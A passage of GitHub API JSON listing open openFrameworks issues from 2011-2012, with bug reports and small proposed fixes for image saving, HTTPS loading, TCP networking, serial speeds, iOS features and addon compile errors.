not.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/642","comments":0,"milestone":null,"number":642,"html_url":"https://github.com/openframeworks/openFrameworks/issues/642","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"ofxiPhone: Possible delayed input/touch event issue ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-07-12T02:46:23Z","state":"open","user":{"url":"https://api.github.com/users/cerupcat","gravatar_id":"91b3d4bfbbb99d840b096cde3af877bf","login":"cerupcat","avatar_url":"https://secure.gravatar.com/avatar/91b3d4bfbbb99d840b096cde3af877bf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":204151},"id":1205789,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-12T13:03:00Z","body":"See title and test code:\r\nhttps://gist.github.com/952bd35591dc0cb23f61","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/631","comments":1,"milestone":null,"number":631,"html_url":"https://github.com/openframeworks/openFrameworks/issues/631","assignee":null,"title":"ofImage::saveImage() - saving from png to gif creates grayscale image","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-07-07T21:37:47Z","state":"open","user":{"url":"https://api.github.com/users/roxlu","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":358809},"id":1185346,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T03:48:47Z","body":"Tried to load a text file over https but I got this message:\r\n\r\n``400 The plain HTTP request was sent to HTTPS port\r\n

400 Bad Request

The plain HTTP request was sent to HTTPS port

nginx/1.0.4
``\r\n\r\n\r\n\r\nUsing this code\r\n``ofHttpResponse resp = ofLoadURL(\"https://raw.github.com/openframeworks/openFrameworks/6af1dc980f6d93d84b3bf8fdc1b6435697be9ed9/readme.txt\");``\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/623","comments":5,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":623,"html_url":"https://github.com/openframeworks/openFrameworks/issues/623","assignee":null,"title":"ofLoadURL() does not work with httpS","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-07-06T18:12:06Z","state":"open","user":{"url":"https://api.github.com/users/roxlu","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":358809},"id":1175654,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-06T18:09:03Z","body":"Setting the position of an ofEasyCam instance in ofSetup() does not work. What does work in testApp::setup() is calling ofEasyCam::setDistance(). When calling ofEasyCam::setPosition() in for example testApp::draw() does work.\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/618","comments":0,"milestone":null,"number":618,"html_url":"https://github.com/openframeworks/openFrameworks/issues/618","assignee":null,"title":"call ofEasyCam::setPosition in testApp::setup() is forgotten","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-07-05T18:23:34Z","state":"open","user":{"url":"https://api.github.com/users/roxlu","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":358809},"id":1169032,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-06-27T18:30:26Z","body":"Currently there doesn't appear to be any way to do this other than by hand\r\nAlso it would be highly useful ofMatrix3x3 in general had equivalent accessors to ofMatrix4x4","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/612","comments":0,"milestone":null,"number":612,"html_url":"https://github.com/openframeworks/openFrameworks/issues/612","assignee":null,"title":"need conversion ofMatrix3x3<->ofMatrix4x4","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-06-27T18:30:26Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":1124068,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-10-04T10:10:06Z","body":"Need some way of applying current ofMatrix4x4 to the scene without going down to gl calls","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/605","comments":4,"milestone":null,"number":605,"html_url":"https://github.com/openframeworks/openFrameworks/issues/605","assignee":null,"title":"function wrapping glMultMatrixf in ofMatrix4x4","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-06-16T13:13:35Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":1067300,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-10T04:42:59Z","body":"Here's a function that will do it...\r\n\r\nvoid ofxiPhoneLaunchBrowser(string url) {\r\n\t[[UIApplication sharedApplication] openURL:[NSURL URLWithString:ofxStringToNSString(url)]];\r\n}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/603","comments":0,"milestone":null,"number":603,"html_url":"https://github.com/openframeworks/openFrameworks/issues/603","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"ofLaunchBrowser() for iPhone not implemented","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-06-13T13:03:15Z","state":"open","user":{"url":"https://api.github.com/users/mazbox","gravatar_id":"3cfb19dbce7926933555ac9755a86ca8","login":"mazbox","avatar_url":"https://secure.gravatar.com/avatar/3cfb19dbce7926933555ac9755a86ca8?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":194121},"id":1048971,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-03T21:38:43Z","body":"OF: OF_LOG_ERROR: ofxNetwork:/addons/ofxNetwork/src/ofxTCPManager.cpp: 157 ECONNREFUSED: the server has actively refused to establish the connection\r\n\r\nThis error happens in every use of ofxTCPClient.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/599","comments":1,"milestone":null,"number":599,"html_url":"https://github.com/openframeworks/openFrameworks/issues/599","assignee":null,"title":"TCPManager Consistent Error","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-06-08T23:02:28Z","state":"open","user":{"url":"https://api.github.com/users/tomorrowevening","gravatar_id":"f92a8e912b59171abde0354e2f212c12","login":"tomorrowevening","avatar_url":"https://secure.gravatar.com/avatar/f92a8e912b59171abde0354e2f212c12?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":626143},"id":1027184,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-06-01T13:56:17Z","body":"http://forum.openframeworks.cc/index.php/topic,6370.0.html\r\n\r\nwhen they are not power of 2 perhaps?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/591","comments":0,"milestone":null,"number":591,"html_url":"https://github.com/openframeworks/openFrameworks/issues/591","assignee":null,"title":"problem with ofImage resize","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-06-01T13:56:17Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":984564,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-05-31T12:33:31Z","body":"### ofxNetworkUtils.h - issue 1\n\nThe default message should print out `err` instead of `errno`\n\n```\n\tdefault:\n\t\tofLog(OF_LOG_ERROR,\"ofxNetwork:\"+file+\": \" +line+\" unknown error: \" + ofToString(errno) + \" see errno.h for description of the error\");\n\t\tbreak;\n```\n\nto:\n\n```\n\tdefault:\n\t\tofLog(OF_LOG_ERROR,\"ofxNetwork:\"+file+\": \" +line+\" unknown error: \" + ofToString(err) + \" see errno.h for description of the error\");\n\t\tbreak;\n```\n\nSince errno would not be set on windows machines.\n\n\n\n\n### ofxTCPManager.cpp - issue 2\n\nIn the `Receive` method of the `ofxTCPManager` the function will always return -1 when checking for data and there is no new data and the TCPServer has been set to non-blocking.\n\nAfter changing the code in issue 1 mentioned above i got:\n\n`ofxNetwork:addons\\ofxNetwork\\src\\ofxTCPManager.cpp: 304 unknown error: 10035 see errno.h for description of the error`\n\ninstead of `error: 0` when `errno`was used.\n\nWhich on windows is the [`WSAEWOULDBLOCK`](http://msdn.microsoft.com/en-us/library/ms740668.aspx) or `EWOULDBLOCK` as defined in `ofxNetworkUtils`\n\nSo someplace in the code there should be a mechanism to check if the code is client is non-blocking and ignore the error.\nThis is `windows` only but still could be as an additional parameter to the `Receive` method. Or add it as an `switch case` for the `EWOULDBLOCK` in the `ofxNetworkUtils` and ignore the ouput and comment it.\n\nI just noticed this above when i started usin an application that i was developing on my mac an using it on windows machines this code would appear too often.\n\nSo as stated above my solution is that i added:\n\n```\n #ifdef TARGET_WIN32 // otherwise EAGAIN & EWOULDBLOCK will create a \"duplicate case value\" on Non windows\n\tcase EWOULDBLOCK: \n\t\t// \tofLog(OF_LOG_VERBOSE,\"ofxNetwork:\"+file+\": \" +line+\" EWOULDBLOCK: perhaps non-blocking\");\n\t\tbreak;\n #endif\n```\ncode and ignoring the output.\n\n\n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/590","comments":0,"milestone":null,"number":590,"html_url":"https://github.com/openframeworks/openFrameworks/issues/590","assignee":null,"title":"ofxTCPManager.receive() - EWOULDBLOCK on Windows","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-05-31T11:31:08Z","state":"open","user":{"url":"https://api.github.com/users/cristobal","gravatar_id":"c7f941e0c10696b758ae8792714a6744","login":"cristobal","avatar_url":"https://secure.gravatar.com/avatar/c7f941e0c10696b758ae8792714a6744?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":155505},"id":978212,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-05-31T02:06:22Z","body":"setFromPixels has two forms: one that takes an int channels, another that takes ofImageType.\r\n\r\nsetFromExternalPixels only has one form: it takes an int channels.\r\n\r\nin my opinion, it makes sense to change them both to ofImageType only, because the int channels is susceptible to accidentally passing an ofImageType to it.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/589","comments":0,"milestone":null,"number":589,"html_url":"https://github.com/openframeworks/openFrameworks/issues/589","assignee":null,"title":"setFromPixels vs setFromExternalPixels","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-05-31T02:06:22Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":976610,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-03T21:54:02Z","body":"ofImage_ should be ofBaseImage, likewise with ofPixels_\n\nin general, X_ style classes should be BaseX\n\ntemplated functions that are just sitting around should also have descriptive template names.\n\nit's important for this to happen before 007, otherwise code will be written against ofImage\\_<T> etc.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/582","comments":5,"milestone":null,"number":582,"html_url":"https://github.com/openframeworks/openFrameworks/issues/582","assignee":null,"title":"templated code needs to be more readable","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-05-23T17:46:28Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":942647,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-31T13:42:28Z","body":"just need to add the line\r\n\r\n\t\t\tcase 230400: cfsetispeed(&options,B230400);\r\n\t\t\t\tcfsetospeed(&options,B230400);\r\n\t\t\t\tbreak;\r\n\r\nin the setup function after\r\ncase 115200: cfsetispeed(&options,B115200);\r\n\t\t\t\t\t\tcfsetospeed(&options,B115200);\r\n\t\t\t\tbreak;\r\n\r\ntested with our device that runs at that baud rate, seems to work a-OK so far.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/577","comments":2,"milestone":null,"number":577,"html_url":"https://github.com/openframeworks/openFrameworks/issues/577","assignee":null,"title":"ofSerial: add 230400 speed","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-05-20T16:16:52Z","state":"open","user":{"url":"https://api.github.com/users/labatrockwell","gravatar_id":"e6d243a56cd069a225f56f4a388e8838","login":"labatrockwell","avatar_url":"https://secure.gravatar.com/avatar/e6d243a56cd069a225f56f4a388e8838?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","id":313943},"id":932655,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-25T19:59:00Z","body":"This is a generic Linux build of oF for ARM Cortex A8/9 devices (Beagleboard, Pandaboard, Gumstix, Tegra 250, IGEPv2, ...) with built-in NEON optimizations in the included libs and makefiles (via gcc -O3 -march=armv7-a -mtune=cortex-a8 -mfpu=neon -ftree-vectorize -mfloat-abi=softfp)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/576","comments":17,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","closed_issues":0,"number":8,"title":"0080 Release","due_on":"2013-01-01T08:00:00Z","open_issues":3,"created_at":"2012-02-25T01:34:28Z","state":"open","description":"","id":88731},"number":576,"html_url":"https://github.com/openframeworks/openFrameworks/issues/576","assignee":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"title":"Generic armv7l Linux build for Beagleboard &co. ","labels":[],"closed_at":null,"created_at":"2011-05-19T14:49:57Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"id":927378,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/576.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/576","patch_url":"https://github.com/openframeworks/openFrameworks/pull/576.patch"}},{"updated_at":"2011-05-13T15:28:46Z","body":"http://forum.openframeworks.cc/index.php?topic=6201.0","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/572","comments":0,"milestone":null,"number":572,"html_url":"https://github.com/openframeworks/openFrameworks/issues/572","assignee":null,"title":"ofToggleFullscreen doesn't set width and height correctly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":null,"created_at":"2011-05-13T15:28:46Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":895515,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-02T15:47:14Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/569","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":569,"html_url":"https://github.com/openframeworks/openFrameworks/issues/569","assignee":null,"title":"saving an image with the image quality flag set to high or best causes empty jpegs. ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-05-11T13:53:42Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":883385,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T03:48:47Z","body":"Currently using an FBO with an ofCamera is really tricky, as both setup their own viewing matrix and viewport. \r\n\r\nDoes it make sense to have ofFbo use an ofCamera internally?\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/568","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":568,"html_url":"https://github.com/openframeworks/openFrameworks/issues/568","assignee":null,"title":"ofFbo and ofCamera do not play well together.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-05-11T13:52:46Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":883380,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-15T18:31:30Z","body":"Greetings,\r\n\r\nI have downloaded the latest master of Openframeworks b4397c1 and I have tried to compile the AllAddons example (just to check if everything was well installed).\r\n\r\nThe ofxSynth library just won't compile (using either GCC or LLVM, Xcode 3 or Xcode4), be it in the allAddons or in it's own examples, here is the error log :\r\n\r\nUndefined symbols for architecture i386:\r\n \"typeinfo for ofxSoundEffect\", referenced from:\r\n typeinfo for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"non-virtual thunk to ofxSoundEffect::setSampleRate(int)\", referenced from:\r\n vtable for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"ofxSoundBuffer::ofxSoundBuffer()\", referenced from:\r\n ofxSoundSink::ofxSoundSink()in ofxSynth.o\r\n \"vtable for ofxSoundEffect\", referenced from:\r\n ofxSoundEffect::~ofxSoundEffect()in ofxSynthDelayLine.o\r\n ofxSoundEffect::~ofxSoundEffect()in ofxSynthDelayLine.o\r\n \"vtable for ofxSoundSink\", referenced from:\r\n ofxSoundSink::~ofxSoundSink()in ofxSynthDelayLine.o\r\n ofxSoundSink::~ofxSoundSink()in ofxSynthDelayLine.o\r\n \"virtual thunk to ofxSoundSink::getInputs()\", referenced from:\r\n vtable for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundSink-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"typeinfo for ofxSoundSink\", referenced from:\r\n construction vtable for ofxSoundSink-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"ofxSoundSink::setSampleRate(int)\", referenced from:\r\n construction vtable for ofxSoundSink-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"ofxSoundSink::getInputs()\", referenced from:\r\n vtable for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundSink-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"ofxSoundSink::addInputFrom(ofxSoundSource*)\", referenced from:\r\n vtable for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundSink-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"VTT for ofxSoundEffect\", referenced from:\r\n ofxSoundEffect::~ofxSoundEffect()in ofxSynthDelayLine.o\r\n ofxSoundEffect::~ofxSoundEffect()in ofxSynthDelayLine.o\r\n \"ofxSoundEffect::setSampleRate(int)\", referenced from:\r\n vtable for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"ofxSoundSink::audioIn(float*, int, int, unsigned long long)\", referenced from:\r\n vtable for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundSink-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"ofxSoundEffect::audioOut(float*, int, int, unsigned long long)\", referenced from:\r\n vtable for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"ofxSoundBuffer::~ofxSoundBuffer()\", referenced from:\r\n ofxSoundSink::~ofxSoundSink()in main.o\r\n ofxSoundSink::~ofxSoundSink()in ofxSynthDelayLine.o\r\n ofxSoundSink::~ofxSoundSink()in ofxSynthDelayLine.o\r\nld: symbol(s) not found for architecture i386\r\ncollect2: ld returned 1 exit status\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/566","comments":3,"milestone":null,"number":566,"html_url":"https://github.com/openframeworks/openFrameworks/issues/566","assignee":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"title":"ofxSynth won't compile","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":null,"created_at":"2011-05-07T12:25:01Z","state":"open","user":{"url":"https://api.github.com/users/benoitespinola","gravatar_id":"d08687285addcdde144d4eceb4cfa78e","login":"benoitespinola","avatar_url":"https://secure.gravatar.com/avatar/d08687285addcdde144d4eceb4cfa78e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":720460},"id":862321,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-10T04:48:58Z","body":"I'm fixing it using \r\n_textField.transform = CGAffineTransformMakeRotation(M_PI*1.5f);\r\nin - (void) setFrame: (CGRect) rect\r\nto fix it 